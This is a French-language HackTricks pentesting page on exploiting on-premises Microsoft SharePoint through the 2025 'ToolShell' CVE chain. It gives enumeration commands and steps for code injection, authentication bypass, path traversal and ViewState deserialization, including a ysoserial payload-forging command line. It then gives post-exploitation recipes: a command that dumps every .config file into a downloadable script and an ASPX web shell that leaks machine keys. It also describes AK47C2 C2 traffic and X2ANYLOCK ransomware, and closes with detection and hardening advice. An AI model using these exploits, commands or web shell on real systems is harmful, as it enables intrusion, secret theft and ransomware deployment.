Microsoft SharePoint – Pentesting & Exploitation
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Microsoft SharePoint (sur site) est construit sur ASP.NET/IIS. La plupart de la surface d'attaque web classique (ViewState, Web.Config, web shells, etc.) est donc présente, mais SharePoint est également livré avec des centaines de pages ASPX propriétaires et de services web qui élargissent considérablement la surface d'attaque exposée. Cette page recueille des astuces pratiques pour énumérer, exploiter et persister dans les environnements SharePoint en mettant l'accent sur la chaîne d'exploitation 2025 divulguée par Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. Chaîne d'exploitation 2025 (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Injection de code sur ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
permet l'injection de code Server-Side Include arbitraire dans la page qui est ensuite compilée par ASP.NET. Un attaquant peut intégrer du C# qui exécute Process.Start()
et déposer un ViewState malveillant.
2.2 CVE-2025-49706 – Contournement d'authentification incorrect
La même page fait confiance à l'en-tête X-Forms_BaseUrl pour déterminer le contexte du site. En le pointant vers /_layouts/15/
, la MFA/SSO appliquée au site racine peut être contournée sans authentification.
2.3 CVE-2025-53770 – Désérialisation de ViewState non authentifiée → RCE
Une fois que l'attaquant contrôle un gadget dans ToolPane.aspx
, il peut poster une valeur __VIEWSTATE
non signée (ou uniquement MAC) qui déclenche la désérialisation .NET à l'intérieur de w3wp.exe, entraînant une exécution de code.
Si la signature est activée, volez la ValidationKey/DecryptionKey de n'importe quel web.config
(voir 2.4) et falsifiez le payload avec ysoserial.net ou ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Pour une explication approfondie sur l'abus de ViewState ASP.NET, lisez :
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Traversée de chemin / Divulgation de web.config
L'envoi d'un paramètre Source
conçu à ToolPane.aspx
(par exemple, ../../../../web.config
) renvoie le fichier ciblé, permettant la fuite de :
<machineKey validationKey="…" decryptionKey="…">
➜ forger les cookies ViewState / ASPXAUTH- chaînes de connexion et secrets.
3. Recettes de post-exploitation observées dans la nature
3.1 Exfiltrer chaque fichier .config (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Le fichier debug_dev.js
résultant peut être téléchargé anonymement et contient toutes les configurations sensibles.
3.2 Déployer un shell web ASPX encodé en Base64 (variation-2)
powershell.exe -EncodedCommand <base64>
Exemple de charge utile décodée (raccourci) :
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Écrit à :
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
La shell expose des points de terminaison pour lire / faire pivoter les clés de machine, ce qui permet de forger des cookies ViewState et ASPXAUTH à travers la ferme.
3.3 Variante obfusquée (variation-3)
Même shell mais :
- déposé sous
...\15\TEMPLATE\LAYOUTS\
- noms de variables réduits à des lettres uniques
Thread.Sleep(<ms>)
ajouté pour l'évasion de sandbox et le contournement d'AV basé sur le timing.
3.4 Backdoor multi-protocole AK47C2 & ransomware X2ANYLOCK (observé 2025-2026)
Des enquêtes récentes sur les incidents (Unit42 “Project AK47”) montrent comment les attaquants exploitent la chaîne ToolShell après un RCE initial pour déployer un implant C2 à double canal et un ransomware dans des environnements SharePoint :
AK47C2 – variante dnsclient
- Serveur DNS codé en dur :
10.7.66.10
communiquant avec le domaine autoritaireupdate.updatemicfosoft.com
. - Les messages sont des objets JSON chiffrés par XOR avec la clé statique
VHBD@H
, encodés en hexadécimal et intégrés comme étiquettes de sous-domaine.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Les longues requêtes sont fragmentées et préfixées par
s
, puis réassemblées côté serveur. - Le serveur répond dans des enregistrements TXT portant le même schéma XOR/hex :
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- La version 202504 a introduit un format simplifié
<COMMAND>::<SESSION_KEY>
et des marqueurs de fragments1
,2
,a
.
AK47C2 – variante httpclient
- Réutilise exactement la routine JSON & XOR mais envoie le blob hexadécimal dans le corps HTTP POST via
libcurl
(CURLOPT_POSTFIELDS
, etc.). - Même flux de travail tâche/résultat permettant :
- L'exécution de commandes shell arbitraires.
- Instructions d'intervalle de sommeil dynamique et de kill-switch.
Ransomware X2ANYLOCK
- Charge utile C++ 64 bits chargée via le side-loading de DLL (voir ci-dessous).
- Utilise AES-CBC pour les données de fichiers + RSA-2048 pour envelopper la clé AES, puis ajoute l'extension
.x2anylock
. - Chiffre récursivement les disques locaux et les partages SMB découverts ; ignore les chemins système.
- Dépose une note en texte clair
How to decrypt my data.txt
intégrant un Tox ID statique pour les négociations. - Contient un kill-switch interne :
if (file_mod_time >= "2026-06-06") exit(0);
Chaîne de side-loading de DLL
- L'attaquant écrit
dllhijacked.dll
/My7zdllhijacked.dll
à côté d'un7z.exe
légitime. w3wp.exe
lancé par SharePoint exécute7z.exe
, qui charge la DLL malveillante en raison de l'ordre de recherche de Windows, invoquant le point d'entrée du ransomware en mémoire.- Un chargeur LockBit séparé observé (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) déchiffre le shell-code et effectue un DLL hollowing dansd3dl1.dll
pour exécuter LockBit 3.0.
info
Le même Tox ID statique trouvé dans X2ANYLOCK apparaît dans des bases de données LockBit divulguées, suggérant un chevauchement d'affiliés.
4. Idées de détection
Télémétrie | Pourquoi c'est suspect |
---|---|
w3wp.exe → cmd.exe | Le processus de travail ne devrait que rarement lancer un shell |
cmd.exe → powershell.exe -EncodedCommand | Modèle classique de lolbin |
Événements de fichiers créant debug_dev.js ou spinstall0.aspx | IOCs directement issus de ToolShell |
ProcessCmdLine CONTIENT ToolPane.aspx (logs ETW/Module) | Les PoCs publics invoquent cette page |
Exemple de règle XDR / Sysmon (pseudo-XQL) :
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Durcissement & Atténuation
- Patch – Les mises à jour de sécurité de juillet 2025 corrigent tous les quatre CVE.
- Faire tourner chaque
<machineKey>
et les secretsViewState
après compromission. - Retirer la permission d'écriture LAYOUTS des groupes
WSS_WPG
&WSS_ADMIN_WPG
. - Bloquer l'accès externe à
/_layouts/15/ToolPane.aspx
au niveau du proxy/WAF. - Activer ViewStateUserKey, MAC activé, et EventValidation personnalisé.
Astuces connexes
- IIS post-exploitation & abus de web.config :
IIS - Internet Information Services
Références
- Unit42 – Exploitation active des vulnérabilités de Microsoft SharePoint
- GitHub PoC – Chaîne d'exploitation ToolShell
- Avis de sécurité Microsoft – CVE-2025-49704 / 49706
- Unit42 – Projet AK47 / Exploitation de SharePoint & Activité de ransomware
- Avis de sécurité Microsoft – CVE-2025-53770 / 53771
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.